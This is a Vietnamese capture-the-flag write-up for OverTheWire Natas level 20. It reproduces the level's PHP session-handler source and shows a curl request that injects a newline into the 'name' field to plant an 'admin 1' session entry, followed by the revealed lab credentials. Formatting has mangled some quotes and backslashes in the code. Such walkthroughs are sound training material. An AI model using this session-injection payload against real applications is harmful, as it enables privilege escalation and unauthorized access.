[OverTheWire] Natas – Level 20
http://natas20.natas.labs.overthewire.org/
You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.
Nhấn View sourcecode:
[php]
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg
“;
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists(“admin”, $_SESSION) and $_SESSION[“admin”] == 1) {
print “You are an admin. The credentials for the next level are:
“;
print “
Username: natas21n"; print "Password:
“;
} else {
print “You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.”;
}
}
/* }}} */
/* we don’t need this */
function myopen($path, $name) {
//debug(“MYOPEN $path $name”);
return true;
}
/* we don’t need this */
function myclose() {
//debug(“MYCLOSE”);
return true;
}
function myread($sid) {
debug(“MYREAD $sid”);
if(strspn($sid, “1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-“) != strlen($sid)) {
debug(“Invalid SID”);
return “”;
}
$filename = session_save_path() . “/” . “mysess_” . $sid;
if(!file_exists($filename)) {
debug(“Session file doesn’t exist”);
return “”;
}
debug(“Reading from “. $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode(“n”, $data) as $line) {
debug(“Read [$line]”);
$parts = explode(” “, $line, 2);
if($parts[0] != “”) $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug(“MYWRITE $sid $data”);
// make sure the sid is alnum only!!
if(strspn($sid, “1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-“) != strlen($sid)) {
debug(“Invalid SID”);
return;
}
$filename = session_save_path() . “/” . “mysess_” . $sid;
$data = “”;
debug(“Saving in “. $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug(“$key => $value”);
$data .= “$key $valuen”;
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
/* we don’t need this */
function mydestroy($sid) {
//debug(“MYDESTROY $sid”);
return true;
}
/* we don’t need this */
function mygarbage($t) {
//debug(“MYGARBAGE $t”);
return true;
}
session_set_save_handler(
“myopen”,
“myclose”,
“myread”,
“mywrite”,
“mydestroy”,
“mygarbage”);
session_start();
if(array_key_exists(“name”, $_REQUEST)) {
$_SESSION[“name”] = $_REQUEST[“name”];
debug(“Name set to ” . $_REQUEST[“name”]);
}
print_credentials();
$name = “”;
if(array_key_exists(“name”, $_SESSION)) {
$name = $_SESSION[“name”];
}
?> [/php]
Chúng ta sẽ đi lần lượt theo quy trình xử lý của bài này. Đầu tiên khi ta submit form login:
[php]if(array_key_exists(“name”, $_REQUEST)) {
$_SESSION[“name”] = $_REQUEST[“name”];
debug(“Name set to ” . $_REQUEST[“name”]);
} [/php]
Quá trình set giá trị cho biến $_SESSION được thực hiện qua hàm mywrite(), đáng chú ý ở:
[php]ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug(“$key => $value”);
$data .= “$key $valuen”;
}
file_put_contents($filename, $data);
[/php]
Tức là giá trị của biến $_SESSION sẽ được lưu vào file thành 1 dòng. Sau đó là quá trình đọc thông tin login của user:
[php]$name = “”;
if(array_key_exists(“name”, $_SESSION)) {
$name = $_SESSION[“name”];
} [/php]
Thao tác lấy giá trị được đảm nhiệm bởi hàm myread():
[php]$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode(“n”, $data) as $line) {
debug(“Read [$line]”);
$parts = explode(” “, $line, 2);
if($parts[0] != “”) $_SESSION[$parts[0]] = $parts[1];
}[/php]
Có một điểm đặc biệt là, nếu xét đúng bản chất, biến $_SESSION chỉ có thể chứa một thuộc tính có tên là name, tuy nhiên ở hàm myread(), code vẫn đọc từng dòng từ file để gán giá trị, và nó dẫn đến một cánh cửa vô cùng sáng cho ta lao vào, đó là inject ký tự xuống dòng vào username để tạo ra một thuộc tính 2 trong 1 khi đưa vô file
[sh]curl -u natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF http://natas20.natas.labs.overthewire.org/index.php?debug –cookie “PHPSESSID=njlkb373h5k9q92hdf57ggtl01” –data “name=aaa%0Aadmin 1″[/sh]
Kết quả:
You are an admin. The credentials for the next level are:<br><pre>Username: nata s21 Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
→ flag = IFekPyrQXftziDEsUr3x21sYuahypdgJ.
Recent comments